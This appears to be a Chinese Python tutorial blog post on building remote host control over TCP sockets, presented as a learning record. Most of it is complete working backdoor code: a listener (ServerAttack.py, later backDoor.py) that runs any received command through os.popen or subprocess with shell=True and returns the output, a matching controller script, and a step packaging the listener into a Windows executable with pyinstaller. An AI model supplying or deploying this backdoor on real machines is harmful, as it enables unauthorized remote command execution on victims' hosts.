时间:2022-03-02 09:06:33 | 栏目:Python代码 | 点击:次
本文将记录学习基于 Socket 通信机制建立 TCP 反向连接,借助 Python 脚本实现主机远程控制的目的。
我们在传输数据时,可以只使用(传输层)TCP/IP 协议,但是那样的话,如果没有应用层,便无法识别数据内容,如果想要使传输的数据有意义,则必须使用到应用层协议,应用层协议有很多,比如 HTTP、FTP、TELNET 等,也可以自己定义应用层协议。而 Socket 是对 TCP/IP 协议的封装,Socket 本身并不是协议,而是一个调用接口(API),通过 Socket 我们才能使用 TCP/IP 协议。
HTTP 连接与 Socket 连接的区别
什么时候该用 HTTP,什么时候该用 Socket?
Python3 关于 Socket 网络编程的相关语法知识可以参见:Python3 网络编程。
下面开始来看看如何借助 Python 实现对目标主机的远程控制。
ServerAttack.py 受控端脚本如下:
import socket import os ip = "" # 空表示可连接所有主机 port = 5555 # 设置端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s 使用基于tcp协议的网络套接字 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # 关闭后不需要保存状态可以立即开启 s.bind((ip, port)) # 对象s 开始绑定ip和端口 s.listen(10) # 启动监听状态,设置队列中等待连接服务器的最大请求数10 conn, addr = s.accept() # 当与别人建立连接 addr,conn 变量分别存对方ip和连接的对象 print("已建立远程连接:", addr) # 显示对方地址 while True: data = conn.recv(1024) # 接收对方字符串 #如果对方不发数据会卡住 if data == b"q": # 接收到程序终止信号则中断连接 break data = str(data, encoding="utf8") # 将数据转换为字符串类型 print("远程主机请求的命令:", data) f = os.popen(data) # 可以将命令的内容以读取的方式返回 data2 = f.read() if data2 == "": conn.send(b"finish") else: conn.send(bytes(data2, encoding="utf8")) # 发送命令运行结果 conn.close() # 断开连接 s.close() # 关闭套结字
ClientAttack.py 控制端脚本如下:
import socket ip = "192.168.146.126" # 对方服务器ip地址 port = 5555 # 对方服务器的端口 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 对象s使用基于tcp协议的网络套接字 s.connect((ip, port)) # 创建socket连接 while True: data = input("请输入命令:") data = bytes(data, encoding="utf8") s.send(data) # 发送数据给对方 data2 = s.recv(1024) # 接收返回的数据 print(str(data2, encoding="utf8")) if data == b"q": break s.close()
效果演示
1、Linux 远控
将 ServerAttack.py 受控端脚本拷贝至 Linux 系统并运行,同时 Win10 物理机运行 ClientAttack.py 控制端脚本,可实现远程连接控制:
2、Windows 远控
使用 pyinstaller 打包 ServerAttack.py 生成 ServerAttack.exe 可执行文件(pyinstaller -F ServerAttack.py
),然后在 Win7 虚拟机运行生成的 ServerAttack.exe 文件,效果如下:
下面使用多线程、脚本参数设置、脚本帮助提示、客户端服务端代码集成来优化上述实现远程控制的脚本。
Python 中 getopt 模块是专门用来处理命令行参数的,函数格式:
getopt(args, shortopts, longopts = [])
参数解析如下:
参数 | 释义 | 补充 |
---|---|---|
args | 要解析的参数列表 | 一般是sys.argv[1:] ,表示获取的参数不包括当前执行的 python 脚本名称 |
shortopts | 要识别的短格式 (-) 选项字符串,如果后接: 表示需要给定参数 |
如ab:c: ,表示识别 -a, -b 和 -c 的短选项,其中 -b 和 -c 需要后接参数 |
longopts = [] | 要识别的长格式(?C)选项,如果后接= 表示需要给定参数 |
如[“help”, “user=”, “password=”],表示识别--help, --user=root, --password=123456 的长选项 |
函数返回值由两个元素组成:
-或--
前缀的选项,value 表示该 option 对应的参数,可以为空字符串表示无参数;import socket import getopt import sys import subprocess from threading import Thread def main(): target = "" # 目标IP port = 0 # 目标端口 listen = False help = False # 利用getopt模块从命令行获取参数,sys.argv[1:]可以过滤掉第一个参数(第一个参数是脚本的名称,它不应该作为参数进行解析) opts, args = getopt.getopt(sys.argv[1:], "t:p:hl") for o, a in opts: if o == "-t": target = a elif o == "-p": port = int(a) elif o == "-h": help = True elif o == "-l": listen = True else: # 断言,传入的参数有误 assert False, "Unhandled Option" # 输出帮助文档 if help: usage() # 获分客户端和服务端 if listen: server_handle(port) else: client_handle(target, port) # 受控端 def server_handle(port): # 创建socket通道 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 绑定 server.bind(('0.0.0.0', port)) # 监听 server.listen(10) print("[*] Listening on 0.0.0.0:%d" % port) while True: client_socket, addr = server.accept() print("[*] Accept connection from %s:%d" % (addr[0], addr[1])) t = Thread(target=run_command, args=(client_socket, server,)) t.start() # 控制端,发送命令,接收受控端命令行的回显内容 def client_handle(target, port): # 创建socket通道 client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 连接服务器 client.connect((target, port)) # 接收数据 while True: recv_len = 1 # 接收到的数据是utf-8 resBuffer = "".encode('utf-8') while recv_len: data = client.recv(4096) recv_len = len(data) resBuffer += data if recv_len < 4096: break # 在windows下中文会乱码,所以转成GBK print(resBuffer.decode('gbk'), end="") # 接收命令,发送命令需要将命令转成byte,并且编码是utf-8 buffer = input("") if buffer.encode('utf-8') == b"quit": break buffer += "\n" client.send(buffer.encode('utf-8')) client.close() # 执行命令涵数 def run_command(client_socket,s): while True: # 发送命令给客户端 client_socket.send(b"shell_>") # 定义接收命令byte类型变量 cmd_buffer = "".encode('utf-8') # 接收客户端发过来的消息,直到预到换行,代表客户端消息输入完成 while b"\n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) if cmd_buffer == b"quit": break # 将完整的byte变量消息转成字符串 cmd_buffer = cmd_buffer.decode() try: # 通过隧道执行命令并以byte数据类型返回输出的数据 out = subprocess.check_output(cmd_buffer, stderr=subprocess.STDOUT, shell=True) # 将返回的数据发送给客户端 client_socket.send(out) except: client_socket.send(b"faild to execute the command") client_socket.close() # 断开连接 s.close() # 关闭套结字 exit(0) # 输出帮助信息 def usage(): print("help info : python backDoor.py -h") print("client : python backDoor.py -t [target] -p [port]") print("server : python backDoor.py -lp [port]") print("Exit :Input quit to exit ") sys.exit() if __name__ == "__main__": main()
效果演示
获取脚本帮助提示、进行远程连接: